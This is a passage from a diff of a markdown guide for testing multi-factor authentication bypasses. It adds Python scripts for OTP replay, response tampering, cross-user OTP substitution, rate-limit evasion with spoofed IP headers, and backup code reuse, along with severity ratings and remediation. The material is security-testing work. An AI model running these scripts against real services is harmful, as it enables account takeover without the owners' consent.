Try to reuse the same OTP + r2 = requests.post(verify_url, + json={"otp": valid_otp}, + headers={"Cookie": f"session={new_session}"}) + print(f"OTP replay attempt: {r2.status_code}") + + if r2.status_code == 200: + print("✅ MEDIUM: OTP REPLAY CONFIRMED — used OTP accepted again") + return True + + print("OTP properly invalidated after first use") + return False ``` -POST /api/mfa/verify -{"otp": "123456", "user_id": "victim_user_id"} + +### Step 5: Response Manipulation +```python +# Use proxy (Caido) to intercept and modify MFA verification response +# Test if changing {"success": false, "mfa_required": true} +# to {"success": true, "mfa_required": false} grants access + +# To test via code: simulate the response modification +def test_response_manipulation(): + """ + This test requires proxy interception. + Instructions: + 1. Configure browser to use Caido proxy + 2. Navigate to MFA verification page + 3. Submit WRONG OTP code + 4. Intercept the response in Caido + 5. Modify response body: change "success":false to "success":true + 6. Forward modified response + 7. Check if application grants access despite failed MFA + """ + pass ``` -Try substituting another user's ID to verify OTP in their context. -### Step 7 – OTP in URL or Logs -Check network requests for OTPs appearing in query parameters, referrer headers, or server access logs. +### Step 6: OTP Context Confusion +```python +def test_otp_user_context_confusion(verify_url, victim_user_id, attacker_session, attacker_otp): + """ + Test if attacker can verify MFA on behalf of another user + by substituting victim's user_id in the OTP verification request. + """ + # Attacker submits their own valid OTP but with victim's user_id + r = requests.post(verify_url, + json={ + "otp": attacker_otp, + "user_id": victim_user_id, # ← Substituted victim's ID + }, + headers={"Cookie": f"session={attacker_session}"}) + + print(f"OTP context confusion test: {r.status_code}") + if r.status_code == 200: + print("✅ HIGH: OTP context confusion — attacker's OTP verified for victim's account!") + print(f"Response: {r.text[:300]}") + return True + return False +``` -## Severity Assessment +### Step 7: Rate Limit Bypass Techniques (If Rate Limit Exists) +```python +def test_rate_limit_bypass_mfa(verify_url, session_cookie): + """ + If rate limiting is present, test if it can be bypassed. + Common bypass techniques for MFA rate limits. + """ + bypass_headers = [ + {"X-Forwarded-For": "1.2.3.4"}, + {"X-Forwarded-For": "2.3.4.5"}, + {"X-Real-IP": "3.4.5.6"}, + {"X-Originating-IP": "4.5.6.7"}, + {"X-Remote-IP": "5.6.7.8"}, + {"X-Client-IP": "6.7.8.9"}, + {"True-Client-IP": "7.8.9.10"}, + ] + + for i, bypass_header in enumerate(bypass_headers): + r = requests.post(verify_url, + json={"otp": f"{i:04d}"}, + headers={"Cookie": f"session={session_cookie}", **bypass_header}) + print(f"Bypass with {bypass_header}: {r.status_code}") + + if r.status_code != 429: + print(f"✅ RATE LIMIT BYPASS via {bypass_header}") +``` -| Condition | Severity | -|-----------|----------| -| MFA step fully skippable | Critical | -| OTP brute-forceable (no rate limit) | High | -| Response manipulation grants access | High | -| OTP replay within valid window | Medium | -| Backup code exposure | Medium–High | +### Step 8: Backup Code Exposure and Reuse +```python +def test_backup_codes(auth_cookie): + """ + Test if backup codes are exposed or reusable. + """ + # Check if backup codes are readable without re-authentication + r = requests.get("https://target.com/api/account/mfa/backup-codes", + headers={"Cookie": auth_cookie}) + + print(f"Backup codes endpoint: {r.status_code}") + if r.status_code == 200 and "code" in r.text.lower(): + print("⚠️ Backup codes returned by API — check if they're plaintext") + codes = extract_backup_codes(r.json()) + + # Test if backup code can be reused after first use + if codes: + r1 = requests.post("https://target.com/api/mfa/verify-backup", + json={"code": codes[0]}) + r2 = requests.post("https://target.com/api/mfa/verify-backup", + json={"code": codes[0]}) # Second use + + if r2.status_code == 200: + print("✅ MEDIUM: Backup code accepted on second use — not invalidated after use") +``` + +--- + +## Severity Classification + +| Finding | Severity | Condition | +|---------|----------|-----------| +| MFA step completely skippable | **Critical** | Protected resources accessible with pre-MFA session | +| OTP brute force viable + no lockout | **High** | No rate limit AND no account lockout demonstrated with 500+ requests | +| Response manipulation grants access | **High** | Modifying {"mfa_required":true} to false bypasses MFA | +| OTP context confusion (cross-user) | **High** | Attacker's OTP used to authenticate as another user | +| OTP reuse after single use | **Medium** | Used OTP accepted again in new session | +| Backup code not invalidated | **Medium** | Same backup code works multiple times | +| Rate limit bypass enabling brute force | **High** | Rate limit exists but bypassable via IP rotation | +| Rate limit present, OTP brute force not practical | **Low/Info** | Rate limit mitigates the risk adequately | + +--- + +## Mandatory Evidence Requirements + +For MFA bypass findings, the report MUST include: + +1. **Complete raw HTTP request** for the bypassing request (the exact attack payload) +2. **Complete raw HTTP response** showing successful authentication (200 + authenticated session token) +3. **UI reproduction steps** showing exactly how to replicate the bypass +4. **Before/after state**: unauthenticated → bypass → authenticated (with evidence of full authentication) +5. **Proof of full authentication**: accessing a protected resource that requires BOTH password AND MFA + +--- ## Remediation -- Invalidate OTP immediately after first successful use -- Enforce server-side MFA state; never trust client-supplied `mfa_verified` flags -- Rate-limit OTP attempts (≤ 5 per minute, lockout after 10 failures) -- Expire TOTP codes at the 30-second window boundary -- Require re-authentication before revealing or regenerating backup codes +- **Step skipping**: Issue pre-MFA session with limited scope; only upgrade to full session after MFA verification server-side +- **Brute force**: Rate limit to 5 attempts per minute; lockout after 10 consecutive failures; require CAPTCHA after 3 failures +- **OTP replay**: Mark OTP as consumed on first successful use; use sliding expiry windows for TOTP +- **Response manipulation**: Never make authentication decisions based on client-provided flags; enforce MFA state server-side +- **Backup codes**: Hash backup codes at rest; invalidate after single use; require re-authentication to view +- **Context confusion**: Bind OTP verification to the specific session and user who initiated the MFA challenge